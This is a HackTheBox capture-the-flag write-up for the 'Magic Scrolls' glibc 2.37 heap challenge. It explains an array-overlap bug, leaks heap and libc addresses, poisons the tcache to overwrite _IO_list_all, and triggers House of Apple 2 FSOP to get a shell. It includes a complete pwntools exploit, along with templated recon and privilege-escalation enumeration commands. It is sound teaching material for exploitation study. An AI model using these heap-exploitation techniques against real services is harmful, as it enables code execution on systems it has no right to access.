Magic Scrolls
Magic Scrolls
Platform: HackTheBox | Category: Pwn | Type: Challenge | Difficulty: Medium | OS: NA | Author: D3v0o0Nu11 | Date: 2026-05-30 | Status: Solved Techniques: array_overlap_bug, fsop_exit_trigger, house_of_apple_2, overlap_poison_arbitrary_write, safe_linking_recovery, self_introspection_via_arbitrary_read, tcache_poisoning, unsorted_bin_libc_leak
Summary
Task: glibc 2.37 menu-based heap pwn where a global magic_numbers[] array overlaps the spells[] pointer table, giving an arbitrary 8-byte write into two heap-pointer slots. Solution: build arbitrary read/free primitives from the overlap, leak heap (safe-linking) and libc (unsorted bin), perform a double-free-key-safe overlap-poison tcache write of _IO_list_all, and trigger House of Apple 2 FSOP via exit() for a shell.
Recon
Port scan
nmap -p- -sV -sC <TARGET> --min-rate 1000 -Pn
| Port | Service | Version | Notes |
|---|---|---|---|
| <PORT> | <SVC> | <VER> | <notes> |
Enumeration highlights
- Event:
hackthebox| ID:20260530_hackthebox_magic_scrolls - Tags: pie, heap, full_relro, tcache_poisoning, arbitrary_read, unsorted_bin_leak, overlapping_chunks, safe_linking, house_of_apple_2, fsop, glibc_2_37
- Indicators: glibc 2.37 (no __free_hook/__malloc_hook), global magic_numbers[] array overlaps spells[] pointer table, menu heap allocator create/remove/read with a 'super_spell' favorite that refreshes pointer but locks length, Full RELRO + PIE + Canary + NX, arbitrary 8-byte write into pointer slots via update_magic_numbers indices 4/5
- Source:
20260530_hackthebox_magic_scrolls.md
Foothold
Vulnerability / Misconfiguration
- Array_overlap_bug
- Fsop_exit_trigger
- House_of_apple_2
- Overlap_poison_arbitrary_write
- Safe_linking_recovery
<command>
Exploitation
- See original writeup content for detailed exploitation.
Privilege Escalation
Enumeration
sudo -l find / -perm -4000 2>/dev/null getcap -r / 2>/dev/null cat /etc/crontab ps aux
Exploitation
- N/A for challenge-type writeup; see exploitation above.
- Flag obtained via challenge solve.
<command>
Flags
| Flag | Location | Value |
|---|---|---|
| flag | REDACTED |
Key Takeaways / Lessons
- array_overlap_bug
- fsop_exit_trigger
- house_of_apple_2
- overlap_poison_arbitrary_write
- safe_linking_recovery
- self_introspection_via_arbitrary_read
- tcache_poisoning
- unsorted_bin_libc_leak
- Tags: pie, heap, full_relro, tcache_poisoning, arbitrary_read, unsorted_bin_leak, overlapping_chunks, safe_linking, house_of_apple_2, fsop, glibc_2_37
Original Writeup
<details><summary>Click to expand original content</summary>Description
Legends say that if magical numbers align in the right sequence, magic will happen.
A medium-difficulty heap-exploitation challenge. We are given a PIE ELF64 binary magic
(not stripped) bundled with its own loader and libc (Debian GLIBC 2.37-7), plus a Dockerfile
(ubuntu:22.04 + socat). The remote service runs:
socat tcp-l:1337,reuseaddr,fork EXEC:./magic
Goal: pop a shell on the remote and read flag.txt.
Analysis
Protections
Full RELRO | Stack Canary | NX | PIE
Crucially the libc is glibc 2.37, where __free_hook and __malloc_hook have been
removed (the symbols may still exist but are never dereferenced by the allocator). That kills
the classic hook-overwrite RCE path — code execution must come from FSOP (we use
House of Apple 2).
Program behavior
main first reads a "magic charm":
read(0, buf, 0x40); if (strcmp(buf, "Alohomora") == 0) power = 4; // unlocks the bug
Then a 6-option menu loops:
| Opt | Name | Effect |
|---|---|---|
| 1 | update_magic_numbers | write a magic number, and (if power!=0) project two of them onto spells[0]/[1] |
| 2 | create_spell | size=read(0,buf,0x1ff); spells[c]=malloc(size); memcpy; c++ |
| 3 | remove_spell | free(spells[idx]); spells[idx]=0; spell_len[idx]=0 |
| 4 | read_spell | print super_spell_len-1 bytes from super_spell (arbitrary read) |
| 5 | set_favorite_spell | first call selects a spell; later calls only refresh the pointer |
| 6 | exit | exit() |
Global memory map (offsets from PIE base)
0x5010 super_spell_set int32 (init -1)
0x5060 magic_numbers[0..3] 4 x int64
0x5080 spells[0..15] 16 x ptr <-- magic_numbers[4] == spells[0]
0x5100 spell_len[0..15] 16 x int64 magic_numbers[5] == spells[1]
0x5180 super_spell ptr
0x5188 spell_count int32 (monotonic, NEVER decremented)
0x5190 super_spell_len int64
0x5198 power int32 (0 default, 4 after "Alohomora")
The core bug — array overlap
The title's "magical numbers align in the right sequence" is a hint: magic_numbers[] is only
declared with 4 logical entries, but update_magic_numbers projects them onto the next array
in memory, which is the spells[] pointer table:
// inside update_magic_numbers, only when power != 0: if (mn[0]==0 && mn[2]==0) memset(&spells[0],0,1); else spells[0] = mn[0] & mn[2]; if (mn[1]==0 && mn[3]==0) memset(&spells[1],0,1); else spells[1] = mn[1] & mn[3];
So with power=4:
- Setting
mn[0]=V,mn[2]=-1makesspells[0] = V & 0xffff...ff = V→ arbitrary pointer write intospells[0]. - The
memset(...,1)"zero" branch only clears the low byte of the current pointer → a partial overwrite primitive (preserves the high heap bytes).
Because create_spell's size is just read()'s return value (no overflow) and chunk sizes are
fully attacker-chosen, the entire challenge is built on this single overlap write.
Derived primitives
- P1
set spells[0]=V—update(1, V), thenupdate(3, -1). - P2
set spells[1]=V—update(2, V), thenupdate(4, -1). - P3 zero low byte of a heap pointer in a slot — set both contributing magic numbers to 0, triggering the
memset(&slot,0,1)branch (keeps the high heap bytes → turns a chunk pointer into a page/segment-aligned address). - P4 arbitrary read (~0xff bytes) — lock a favorite of length
0x100, then repeatedlyP1/P2the slot to any address andrefresh+read.super_spell_lenstays locked at0x100whilesuper_spellfollows the slot. - P5 arbitrary free —
P1the slot toX,remove_spellit →free(X).
The favorite mechanic is the key enabler of arbitrary read: the length is locked on first
selection, but every later set_favorite call simply refreshes super_spell = spells[idx].
So we point the slot anywhere and read a fixed 0x100-byte window.
Solution
1. Unlock the bug
Send Alohomora to the charm prompt → power=4.
2. Heap leak via safe-linking
create s0 (0x10) and s1 (0x100); set_favorite(1) locks super_spell_len=0x100. Free s0
→ tcache[0x20] with a single entry, so under safe-linking its fd = chunk >> 12 (next pointer is
NULL because it is the only entry). Use P3 to zero the low byte of spells[1] so it points to
heap_base + 0x200, then refresh+read 0x100 bytes. The mangled tcache fd lands at window offset
0xa0, giving heap_base = fd << 12.
3. Libc leak via unsorted bin
Fill tcache[0x110] with 7 freed chunks, plus a guard 0x80 chunk to prevent top consolidation,
then free an 8th 0x110 chunk → it goes to the unsorted bin, whose fd/bk point into
main_arena inside libc. Using P4, scan heap windows for a 0x7f.... qword; recover
libc_base = leaked_fd - 0x1d3ce0 (the main_arena offset). Verify by reading
_IO_2_1_stdout_ + 0xd8 and checking the vtable equals _IO_file_jumps — this confirms the
libc base before any write happens.
Notably, all introspection (heap base, libc base, even the OUTER chunk address during development) is performed with the program's own arbitrary-read primitive, not just gdb — the exploit is fully self-contained and robust on remote.
4. Arbitrary write via "overlap-poison" (double-free-key-safe)
A naive tcache double-free trips the glibc 2.37 double-free detection (the per-chunk
e->key == tcache check). We avoid it entirely by poisoning the fd of a fake chunk that
lives inside a larger chunk we control, so we never free the same address twice:
OUTER(0x1f0 request → 0x200 chunk) is created with a fake0x20chunk header atOUTER+0x40(sizefield atOUTER+0x38 = 0x21).- Create
R20 (0x10)and free it → tcache[0x20] count 1. - P1 sets
spells[0] = OUTER+0x40andremove_spell(0)→ frees the fake chunk → tcache[0x20]:fake → R20(count 2). The fake chunk'sfd(atOUTER+0x40) now holdsmangle(R20). - Free
OUTER→ tcache[0x200]. Then re-createOUTERwith a payload that (a) rewritesfake.fd = PROTECT_PTR(OUTER+0x40, _IO_list_all)and (b) embeds the compact fakeFILEatOUTER+0x50. Now tcache[0x20]:fake → _IO_list_all. create(0x10)pops the fake chunk;create(p64(FB))pops_IO_list_allitself and thememcpywritesFB(the fake FILE address) there — an 8-byte arbitrary write to_IO_list_all.
Why this dodges the double-free key check: we only ever pass each real address to free
once. The "duplicate" entry is the fake chunk header crafted inside OUTER; its e->key field
is attacker-controlled data (just bytes inside OUTER's payload), so the integrity check sees a
clean key and never aborts. The OUTER offset from the heap base is deterministic for this
build (0xce0) because the allocation sequence is fixed; only ASLR randomizes the base, which
we already leaked. The chain uses exactly the 16 create_spell slots (indices 0..15).
5. RCE via House of Apple 2 (FSOP through exit)
FB is a compact fake FILE whose _wide_data points to itself. On exit(),
_IO_flush_all_lockp walks _IO_list_all = FB, dispatches _IO_wfile_overflow →
_IO_wdoallocbuf (because wide._IO_buf_base == NULL) → wide_vtable->__doallocate(fp),
which we set to system. With _flags = " sh", this becomes system(" sh") → shell.
Key fake-FILE fields (compact, _wide_data = FB):
_flags = " sh\x00..."→system(" sh")FILE._mode = 1,FILE.vtable = _IO_wfile_jumps,FILE._wide_data = FB,FILE._chain = 0wide._IO_write_base = 0,wide._IO_write_ptr = 1,wide._IO_buf_base = 0(triggers_IO_wdoallocbuf)wide._wide_vtable = FB+0x18, and*(FB+0x18+0x68) = system
Trigger: menu option 6 → exit() → shell → cat flag.txt.
libc 2.37 offsets (challenge libc)
system = 0x4c920
_IO_2_1_stdout_ = 0x1d4780
_IO_list_all = 0x1d4680
_IO_wfile_jumps = 0x1d0240
main_arena (unsorted fd) = 0x1d3ce0
Environment note
The host was macOS (cannot run the Linux ELF natively). We built a ubuntu:22.04 Docker dev
image with pwntools/gdb and tested there. The binary uses its bundled loader
(interp=./ld-2.37.so, RUNPATH=.), so process('./magic') loads glibc 2.37 correctly without
patchelf.
Full exploit
#!/usr/bin/env python3
"""
HackTheBox - Magic Scrolls (pwn) - glibc 2.37 heap
Primitives:
P1 set spells[0]=V ; P2 set spells[1]=V ; P3 zero low byte ; P4 arb-read 0xff bytes ; P5 arb-free
Plan: Alohomora -> heap leak (P3+tcache fd) -> libc leak (unsorted bin, scan) ->
arb write via overlap-poison -> House of Apple 2 on _IO_list_all -> shell.
"""
from pwn import *
import sys, os
context.arch = 'amd64'
context.log_level = 'info'
libc = ELF('./libc.so.6', checksec=False)
def conn():
if len(sys.argv) > 2:
return remote(sys.argv[1], int(sys.argv[2]))
if os.environ.get('REMOTE'):
h, p = os.environ['REMOTE'].split(':')
return remote(h, int(p))
return process('./magic')
# ---------- menu helpers ----------
def menu(io, c):
io.recvuntil(b'> ')
io.sendline(str(c).encode())
def update_magic(io, idx, value):
menu(io, 1)
io.recvuntil(b'Index for magic number: ')
io.sendline(str(idx).encode())
io.recvuntil(b'Magic number: ')
if value < 0:
value += 1 << 64
if value >= 1 << 63:
value -= 1 << 64
io.sendline(str(value).encode())
def create(io, data):
menu(io, 2)
io.recvuntil(b'Spell: ')
assert 1 <= len(data) <= 0x1ff
io.send(data)
def remove_spell(io, idx):
menu(io, 3)
io.recvuntil(b'Index: ')
io.sendline(str(idx).encode())
def set_favorite(io, idx=None):
menu(io, 5)
if idx is not None:
io.recvuntil(b'Favorite spell: ')
io.sendline(str(idx).encode())
def set_spells0(io, value): # P1
update_magic(io, 1, value)
update_magic(io, 3, -1)
def set_spells1(io, value): # P2
update_magic(io, 2, value)
update_magic(io, 4, -1)
def zero_low_spells1(io): # P3 on spells[1]
update_magic(io, 2, 0)
update_magic(io, 4, 0)
def _clean(raw):
"""strip decorative ':-:' + whitespace from read_spell output region"""
region = raw
out = b''
i = 0
while i < len(region):
if region[i:i+3] == b':-:':
i += 3
while i < len(region) and region[i:i+1] in (b'\n', b' ', b'\t'):
i += 1
if region[i:i+3] == b':-:':
i += 3
continue
out += region[i:i+1]
i += 1
return out
def read_spell_raw(io):
menu(io, 4)
raw = io.recvuntil(b'1) Update', drop=True)
return raw
def read_at(io, addr, want=0xf8):
"""P4: read ~0xff bytes from addr (favorite is index 1, super_spell_len locked 0x100)."""
set_spells1(io, addr)
set_favorite(io) # refresh branch: super_spell = spells[1]
raw = read_spell_raw(io)
data = _clean(raw[1024:]) # spell bytes live after the leading banner art
return data
# ---------- exploit ----------
def main():
io = conn()
io.recvuntil(b'Enter magic charm')
io.recvuntil(b'> ')
io.sendline(b'Alohomora')
log.success('power=4')
# ===== HEAP LEAK =====
create(io, b'A' * 0x10) # s0 -> chunk 0x20
create(io, b'B' * 0x100) # s1 -> chunk 0x110
set_favorite(io, 1) # lock super_spell_len=0x100, super_spell_set=1
remove_spell(io, 0) # free s0 -> tcache[0x20]; fd = (chunk>>12)
zero_low_spells1(io) # spells[1] low byte -> 0 (= heap_base+0x200)
set_favorite(io) # refresh
raw = read_spell_raw(io)
data = _clean(raw[1024:])
fd = u64(data[0xa0:0xa8].ljust(8, b'\x00'))
heap = fd << 12
log.success(f'heap base = {hex(heap)}')
assert heap & 0xfff == 0 and 0x500000000000 < heap < 0x600000000000, 'heap leak bad'
# ===== LIBC LEAK via unsorted bin (robust scan) =====
for _ in range(7):
create(io, b'C' * 0x100) # s2..s8 (chunk 0x110)
create(io, b'D' * 0x100) # s9 (chunk 0x110) -> will be unsorted
create(io, b'E' * 0x80) # s10 guard (prevents consolidation with top)
for i in range(2, 9):
remove_spell(io, i) # fill tcache[0x110]
remove_spell(io, 9) # s9 -> unsorted bin
libc_base = None
for off in range(0x200, 0x1200, 0xf0):
d = read_at(io, heap + off)
for k in range(0, len(d) - 8, 8):
v = u64(d[k:k+8])
if 0x7f0000000000 <= v < 0x800000000000:
cand = v - 0x1d3ce0
if cand & 0xfff == 0:
libc_base = cand
log.info(f'candidate libc fd={hex(v)} at heap+{hex(off)}+{hex(k)} -> base {hex(cand)}')
break
if libc_base:
break
assert libc_base, 'no libc pointer found in heap scan'
# verify libc base by reading _IO_2_1_stdout_ vtable == _IO_file_jumps
libc.address = libc_base
vt = read_at(io, libc.sym._IO_2_1_stdout_ + 0xd8)
vtable = u64(vt[0:8])
log.info(f'stdout vtable read = {hex(vtable)} ; _IO_file_jumps = {hex(libc.sym._IO_file_jumps)}')
if vtable != libc.sym._IO_file_jumps:
log.warning('vtable mismatch -> libc base likely wrong, aborting for retune')
else:
log.success(f'libc base = {hex(libc_base)} (verified)')
log.info(f'system={hex(libc.sym.system)} stdout={hex(libc.sym._IO_2_1_stdout_)} '
f'wfile_jumps={hex(libc.sym._IO_wfile_jumps)} list_all={hex(libc.sym._IO_list_all)}')
def protect(pos, ptr):
return (pos >> 12) ^ ptr
def rdq(addr):
d = read_at(io, addr)
return u64(d[0:8])
# ===== ARBITRARY WRITE via overlap-poison (bin 0x20) =====
# OUTER (0x1f0) contains a fake 0x20 chunk at OUTER+0x40 (size @ +0x38 = 0x21)
PAY1 = fit({0x38: p64(0x21)}, length=0x1f0)
create(io, PAY1) # idx11 OUTER
create(io, b'R' * 0x10) # idx12 R20 (pops s0 from tcache[0x20])
remove_spell(io, 12) # free R20 -> tcache[0x20] count1
if os.environ.get('DBG'):
remove_spell(io, 11) # free OUTER -> tcache[0x200]
outer = rdq(heap + 0x180) # entries[0x1e] = tcache[0x200] head
log.success(f'OUTER_user = {hex(outer)} OFF = {hex(outer - heap)}')
io.close(); return
# deterministic heap offset (same binary+libc => same layout, independent of ASLR)
OUTER_OFF = int(os.environ.get('OUTER_OFF', '0xce0'), 0)
outer = heap + OUTER_OFF
fake_user = outer + 0x40
FB = outer + 0x50 # fake FILE base (compact, _wide_data = FB)
set_spells0(io, fake_user)
remove_spell(io, 0) # free fake -> tcache[0x20]: fake -> R20 (count2)
# build compact House-of-Apple-2 fake FILE at FB (placed inside OUTER via reOUTER)
ff = {
0x00: b' sh\x00\x00\x00\x00', # _flags -> system(" sh")
0x18: p64(0), # wide._IO_write_base
0x20: p64(1), # wide._IO_write_ptr (>base) ; FILE._IO_write_base
0x30: p64(0), # wide._IO_buf_base = NULL -> wdoallocbuf
0x68: p64(0), # FILE._chain = 0
0x80: p64(libc.sym.system), # wide vtable[0x68] (vtable = FB+0x18)
0x88: p64(0), # FILE._lock target (=0)
0xa0: p64(FB), # FILE._wide_data = FB
0xc0: p64(1), # FILE._mode = 1
0xd8: p64(libc.sym._IO_wfile_jumps), # FILE.vtable
0xe0: p64(FB + 0x18), # wide._wide_vtable = FB+0x18
}
ff_bytes = fit({k + 0x50: v for k, v in ff.items()}) # shift into OUTER at +0x50
target = libc.sym._IO_list_all
PAY2 = fit({0x38: p64(0x21),
0x40: p64(protect(fake_user, target))},
length=0x1f0)
PAY2 = bytearray(PAY2)
fb = bytearray(ff_bytes)
for i, b in enumerate(fb):
if 0x50 <= i < 0x1f0:
PAY2[i] = b
PAY2 = bytes(PAY2)
remove_spell(io, 11) # free OUTER -> tcache[0x200]
create(io, PAY2) # idx13 reOUTER: pop OUTER, poison fake.fd=mangle(_IO_list_all)
create(io, b'Y' * 0x10) # idx14 popfake: pop fake; entries[0]=_IO_list_all
create(io, p64(FB)) # idx15 poptarget: pop _IO_list_all, write FB there (8 bytes)
log.success(f'_IO_list_all -> {hex(FB)} (fake FILE)')
# trigger: exit -> _IO_flush_all_lockp -> fake FILE -> system(" sh")
io.recvuntil(b'> ', timeout=2) # menu prompt after last create
io.sendline(b'6') # choice >5 -> default -> exit() -> shell
sleep(1.0)
io.sendline(b'echo SHELL_OK; cat flag.txt; cat /home/ctf/flag.txt 2>/dev/null; cat /flag* 2>/dev/null')
sleep(1.0)
try:
data = io.recvrepeat(4)
print('---- shell output ----')
print(data.decode(errors='replace'))
except Exception as e:
print('recv err', e)
io.interactive()
if __name__ == '__main__':
main()
</details>
Auto-tracked: saved to WriteUps; run
/xesor-reviseto fold lessons into XESXor_Methodology.md.
signed by XESXOR